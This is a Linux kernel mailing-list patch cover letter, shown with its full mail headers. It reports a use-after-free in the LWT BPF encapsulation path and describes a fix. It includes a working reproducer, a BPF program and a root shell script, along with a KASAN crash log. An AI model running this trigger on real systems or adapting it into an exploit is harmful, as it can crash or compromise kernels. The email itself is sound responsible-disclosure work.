From mboxrd@z Thu Jan 1 00:00:00 1970 Received: from mail-yx1-f54.google.com (mail-yx1-f54.google.com [74.125.224.54]) (using TLSv1.2 with cipher ECDHE-RSA-AES128-GCM-SHA256 (128/128 bits)) (No client certificate requested) by smtp.subspace.kernel.org (Postfix) with ESMTPS id 685923ACF0E for ; Thu, 8 Oct 2026 16:59:46 +0000 (UTC) Authentication-Results: smtp.subspace.kernel.org; arc=none smtp.client-ip=74.125.224.54 ARC-Seal:i=1; a=rsa-sha256; d=subspace.kernel.org; s=arc-20240116; t=1791478788; cv=none; b=SCTWhnYTQLsxdL9wCmr3N0T+KRhW3zh8UWaSwg36v81f5Vt5g/YUl8rn8tU97P2GP6DjGg1HWtv1PZczppOpY9IlixiNK4YobRj/jyr5EikkUz1VCESAlNOfCtaM59nm/P2KMXf0x2NoItdEb+JMi9+MXaF7oCAdWC2MCAjlXQQ= ARC-Message-Signature:i=1; a=rsa-sha256; d=subspace.kernel.org; s=arc-20240116; t=1791478788; c=relaxed/simple; bh=+dR4jNcvmupEfQa/C5ZhcT9T8NIlHDANx5WK7cvCVR8=; h=From:To:Cc:Subject:Date:Message-ID:MIME-Version; b=GX1LDvBk7n+MAqNCLrCnqvyaQRYngeTgLPM2US0ccW941dsuJK+ogWztX07zidLG2J5mPsSQa7b1RbMrpu96sUHbyEw+b6JnBvMNGxa46ATxrcrnVnivs4uCW8IkKdiqdExwbQ/jNIO1qVnt85ZGqKWLJchvbKH4MhKUTHSax/g= ARC-Authentication-Results:i=1; smtp.subspace.kernel.org; dmarc=pass (p=quarantine dis=none) header.from=nebusec.ai; spf=pass smtp.mailfrom=nebusec.ai; dkim=pass (2048-bit key) header.d=nebusec.ai header.i=@nebusec.ai header.b=ss0cEgwR; arc=none smtp.client-ip=74.125.224.54 Authentication-Results: smtp.subspace.kernel.org; dmarc=pass (p=quarantine dis=none) header.from=nebusec.ai Authentication-Results: smtp.subspace.kernel.org; spf=pass smtp.mailfrom=nebusec.ai Authentication-Results: smtp.subspace.kernel.org; dkim=pass (2048-bit key) header.d=nebusec.ai header.i=@nebusec.ai header.b="ss0cEgwR" Received: by mail-yx1-f54.google.com with SMTP id 956f58d0204a3-6768a9fc0e8so5364344d50.2 for ; Thu, 08 Oct 2026 09:59:46 -0700 (PDT) DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=nebusec.ai; s=google; t=1791478785; x=1792083585; darn=vger.kernel.org; h=content-transfer-encoding:mime-version:message-id:date:subject:cc :to:from:from:to:cc:subject:date:message-id:reply-to:content-type; bh=Bd42di3tIDcCFAVz7Orjy/Hri7iCd9qUQQwFpiR0LNw=; b=ss0cEgwRm7VDiQQqb8LGw3MfKpRiXgDB4Jg+Es14xyUSL8ez7I/rfL4haqoWBG02TM 20ZodKfxEMI0L+UnQwbpWl457LZSzoqPp4d9URGWcBecXlrEa20W4OCLBGunYZ9yH6rD vJwQeYoybOKFkUQPkiIXvPpQH4w88yr6pHuCIyLAdytdPLhYUX9/m0lDYRtPEd7BYpYn bureIIUtSBPxAgFxKZWH5O7qMDZqnlG4Ot5SrtlKCc1RgvBCpRRuwr4pLg+hulBBlYXJ NaRDBvhV6j+YEGJFvKwgyE1GNj08XrCkoWbtL3vSFc1OXI4zNysPZytqJoqOylseC8dV jczw== X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=1e100.net; s=20260707; t=1791478785; x=1792083585; h=content-transfer-encoding:mime-version:message-id:date:subject:cc :to:from:x-gm-gg:x-gm-message-state:from:to:cc:subject:date :message-id:reply-to:content-type; bh=Bd42di3tIDcCFAVz7Orjy/Hri7iCd9qUQQwFpiR0LNw=; b=fHfQhFa2FtMInClqwQkVMUHUWWncToBDTYqeCsoaGUhP+46MV0ukC4cJYKyaN5O67t JZk5x3TkWsml/1cdyEw1MG+oL+CYmz78UdGBKOrUAmtdpNj1EKLyIj21pmBZSlQMBjH7 Y35KBqVdWFJQrVZi+zVKGGZNBKdT/uF6CBCsY/yFBxMq5OcQMlWqNdmkGCmytmivhIej pWt9+LqAm5tcbVvjV7YHnsutrHZ62ySspB/TXq1lC4WsjCiHRRpaK4GT6DYVwfnBcGdX i2dKN+oSrZRj70YmpH+FICQIEnv4KG1aBVFY1t9zjrtg3XrXKfZgpgY+lJtvNJR9CSNT mOSw== X-Gm-Message-State: AFq9FYJFCDy6FguV9Kmv39vV721gg5dTKD09KjWysTLBEU4kqGpYsSQ0 P52YbCiEmDkAB/UbbYy7W9eoMMQ2hNIgwo9mbQ1qHwqP1uKC91zeiYQdm72wMYNStre+y01n1f8 CWo0di5mVeXw= X-Gm-Gg: AYBFou0S4HbB3AKelerUNwoEoe+1ohz44o/pfsoNaZP2gcF70VtGDPyNu1c7Tz52j49 z2Ssr9fIazLSRHEZp9ksg9yKAKjB+2waQ7E0eIDtrDbrxioO3eIHVsCY4+ZTZ81jPZQzTz8MSly eRm29WrgEH/FIxrFw05G/CGvItR1zWZ8OvbY+Nc2IhbBvRJxQbyml1saahZ6lestqKe4QnGf7MC cXlN3thIq5MGa+Q/9a7AAAl0og0vPyMnImVY9N4Aa8Jdv+hvOgA1T5lfRvrxZOvbGKdX6iLCpIs kk8CYQG76UydP93UljKckoYI/kS5P0rtBAmmKVTKR+MxVn3mXXnKph6TBgxfjy/UcThMDXa3j8+ uquAy+Wx/nuyr170T/8wRwoUCto60yntgp/G5WaQtPjFqNM47rutVSVLF5Su8id/PANk3FY4ecY rZZ0fksmvgq+3egdswbgjs+QMB8gJmXm7rzHljYLaAnEIGHZ9WFq7KKIFitCRWSutGPpxdvPY09 2df01G+ X-Received: by 2002:a05:690e:dc6:b0:677:df02:fbe with SMTP id 956f58d0204a3-6790a404061mr2704628d50.27.1791478785094; Thu, 08 Oct 2026 09:59:45 -0700 (PDT) Received: from enjou-Legion-Y7000P-2019 ([191.222.220.30]) by smtp.gmail.com with ESMTPSA id 956f58d0204a3-6791b26486asm1537965d50.24.2026.10.08.09.59.38 (version=TLS1_3 cipher=TLS_AES_256_GCM_SHA384 bits=256/256); Thu, 08 Oct 2026 09:59:44 -0700 (PDT) From: Ren Wei To: netdev@vger.kernel.org, bpf@vger.kernel.org Cc: davem@davemloft.net, edumazet@kernel.org, kuba@kernel.org, pabeni@redhat.com, horms@kernel.org, daniel@iogearbox.net, martin.lau@kernel.org, zirajs7@gmail.com, fmancera@suse.de, leon.hwang@linux.dev, luoxuanqiang@kylinos.cn, posk@google.com, ast@kernel.org, vega@nebusec.ai, rakukuip@gmail.com, weir@nebusec.ai Subject: [PATCH net 0/1] net: lwt_bpf: preserve encap header across skb head realloc Date: Fri, 9 Oct 2026 00:59:34 +0800 Message-ID: X-Mailer: git-send-email 2.53.0 Precedence: bulk X-Mailing-List: netdev@vger.kernel.org List-Id: List-Subscribe: List-Unsubscribe: MIME-Version: 1.0 Content-Transfer-Encoding: 8bit From: Luxiao Xu Hi Linux kernel maintainers, We found and validated a use-after-free issue in net/core/lwt_bpf.c. The bug can be triggered by an LWT BPF program requesting more headroom than the skb currently has, leading to a slab-use-after-free read. We have tested it, and it should not affect any other functionality. This bug is tracked at: https://bugtracker.nebusec.ai/f/11304 We will provide detailed information about the bug in this email, along with a PoC to trigger it. === details below === Bug details: The BPF verifier permits an skb-backed bpf_dynptr_slice() pointer to satisfy the helper's ARG_PTR_TO_MEM | MEM_RDONLY header argument. In bpf_lwt_push_ip_encap(), skb_cow_head() is called to expand headroom. If the skb headroom is insufficient or the skb is cloned, skb_cow_head() invokes pskb_expand_head(), which allocates a new head buffer and frees the old one. If the encapsulation header pointer hdr points into the skb head, it becomes stale after reallocation. Subsequent reads of iph and hdr in skb_postpush_rcsum(), UDP tunnel header handling, and memcpy() lead to a use-after-free read. Fix this by copying the encapsulation header into a local buffer if hdr points into the skb head, preserving it across skb_cow_head(). Reproducer: The reproducer attaches an LWT_XMIT BPF program to an IPv4 route via "encap bpf xmit". The BPF program obtains an skb-backed dynptr slice and calls bpf_lwt_push_encap(skb, BPF_LWT_ENCAP_IP, hdr, 256). A subsequent packet transmission triggers skb_cow_head() reallocation. We run the PoC in an x86 QEMU environment. === BEGIN poc.bpf.c === // SPDX-License-Identifier: GPL-2.0 #include #include #define HDR_LEN 256 #define SEC(name) __attribute__((section(name), used)) #define __ksym __attribute__((section(".ksyms"))) #define __weak __attribute__((weak)) extern int bpf_dynptr_from_skb(struct __sk_buff *skb, __u64 flags, struct bpf_dynptr *ptr__uninit) __ksym __weak; extern void *bpf_dynptr_slice(const struct bpf_dynptr *ptr, __u32 offset, void *buffer, __u32 buffer__szk) __ksym __weak; static long (*bpf_lwt_push_encap)(struct __sk_buff *skb, __u32 type, void *hdr, __u32 len) = (void *)BPF_FUNC_lwt_push_encap; SEC("lwt_xmit") int trigger(struct __sk_buff *skb) { struct bpf_dynptr ptr; void *hdr; if (bpf_dynptr_from_skb(skb, 0, &ptr)) return BPF_OK; if (skb->len < HDR_LEN) return BPF_OK; hdr = bpf_dynptr_slice(&ptr, 0, NULL, HDR_LEN); if (!hdr) return BPF_OK; bpf_lwt_push_encap(skb, BPF_LWT_ENCAP_IP, hdr, HDR_LEN); return BPF_OK; } char _license[] SEC("license") = "GPL"; === END poc.bpf.c === === BEGIN poc.sh === #!/bin/sh set -eu DIR=$(CDPATH= cd -- "$(dirname -- "$0")" && pwd) ROUTE_CIDR=${ROUTE_CIDR:-10.0.0.0/24} SRC_IP=${SRC_IP:-10.0.0.1} DST_IP=${DST_IP:-10.0.0.2} PING_SIZE=${PING_SIZE:-400} PING_COUNT=${PING_COUNT:-10} DEV=${DEV:-dummy0} cleanup() { ip route del "$ROUTE_CIDR" 2>/dev/null || true ip link del "$DEV" 2>/dev/null || true ip addr del "$SRC_IP/32" dev lo 2>/dev/null || true } trap cleanup EXIT echo 0 > /proc/sys/kernel/panic_on_warn ip route del "$ROUTE_CIDR" 2>/dev/null || true ip link del "$DEV" 2>/dev/null || true ip addr del "$SRC_IP/32" dev lo 2>/dev/null || true ip link add "$DEV" type dummy ip link set lo up ip addr add "$SRC_IP/32" dev lo ip link set "$DEV" up ip route add "$ROUTE_CIDR" dev "$DEV" \ encap bpf xmit obj "$DIR/poc.bpf.o" sec lwt_xmit i=1 while [ "$i" -le "$PING_COUNT" ]; do ping -c 1 -W 1 -s "$PING_SIZE" -I "$SRC_IP" "$DST_IP" \ >/dev/null 2>&1 || true i=$((i + 1)) done === END poc.sh === === BEGIN crash log === [ 638.779599] [ T10729] BUG: KASAN: slab-use-after-free in bpf_lwt_push_ip_encap+0x805/0x1ac0 [ 638.779680] [ T10729] Read of size 256 at addr ffff88810c74e410 by task ping/10729 [ 638.779715] [ T10729] CPU: 3 UID: 0 PID: 10729 Comm: ping Not tainted 6.12.95 #2 [ 638.779727] [ T10729] Hardware name: QEMU Ubuntu 24.04 PC v2 (i440FX + PIIX, arch_caps fix, 1996), BIOS 1.16.3-debian-1.16.3-2 04/01/2014 [ 638.779749] [ T10729] Call Trace: [ 638.779761] [ T10729] [ 638.779765] [ T10729] dump_stack_lvl+0x78/0xe0 [ 638.779831] [ T10729] print_report+0xc6/0x620 [ 638.779888] [ T10729] ? bpf_lwt_push_ip_encap+0x805/0x1ac0 [ 638.779893] [ T10729] ? srso_alias_return_thunk+0x5/0xfbef5 [ 638.779923] [ T10729] ? __virt_addr_valid+0x1f3/0x3d0 [ 638.779976] [ T10729] ? bpf_lwt_push_ip_encap+0x805/0x1ac0 [ 638.779981] [ T10729] kasan_report+0xd8/0x110 [ 638.779989] [ T10729] ? bpf_lwt_push_ip_encap+0x805/0x1ac0 [ 638.780000] [ T10729] kasan_check_range+0xf4/0x1a0 [ 638.780015] [ T10729] __asan_memcpy+0x23/0x60 [ 638.780021] [ T10729] bpf_lwt_push_ip_encap+0x805/0x1ac0 [ 638.780027] [ T10729] ? srso_alias_return_thunk+0x5/0xfbef5 [ 638.780034] [ T10729] bpf_lwt_xmit_push_encap+0x2b/0x40 [ 638.780053] [ T10729] bpf_prog_62cb242b810c4a7f_trigger+0x6b/0x74 [ 638.780067] [ T10729] run_lwt_bpf.isra.0+0x32f/0x8c0 [ 638.780148] [ T10729] ? lwtunnel_xmit+0x102/0x4e0 [ 638.780157] [ T10729] bpf_xmit+0x139/0x380 [ 638.780164] [ T10729] lwtunnel_xmit+0x1f7/0x4e0 [ 638.780169] [ T10729] ip_finish_output2+0x8be/0x1eb0 [ 638.780233] [ T10729] ip_output+0x171/0x3b0 [ 638.780240] [ T10729] ip_push_pending_frames+0x1e6/0x250 [ 638.780246] [ T10729] ping_v4_sendmsg+0x719/0x16e0 [ 638.780343] [ T10729] __sys_sendto+0x32e/0x3a0 [ 638.780395] [ T10729] __x64_sys_sendto+0xe0/0x1c0 [ 638.780448] [ T10729] do_syscall_64+0xc7/0x270 [ 638.780455] [ T10729] entry_SYSCALL_64_after_hwframe+0x77/0x7f [ 638.780534] [ T10729] === END crash log === Best regards, Luxiao Xu Luxiao Xu (1): net: lwt_bpf: preserve encap header across skb head realloc net/core/lwt_bpf.c | 6 ++++++ 1 file changed, 6 insertions(+) -- 2.43.0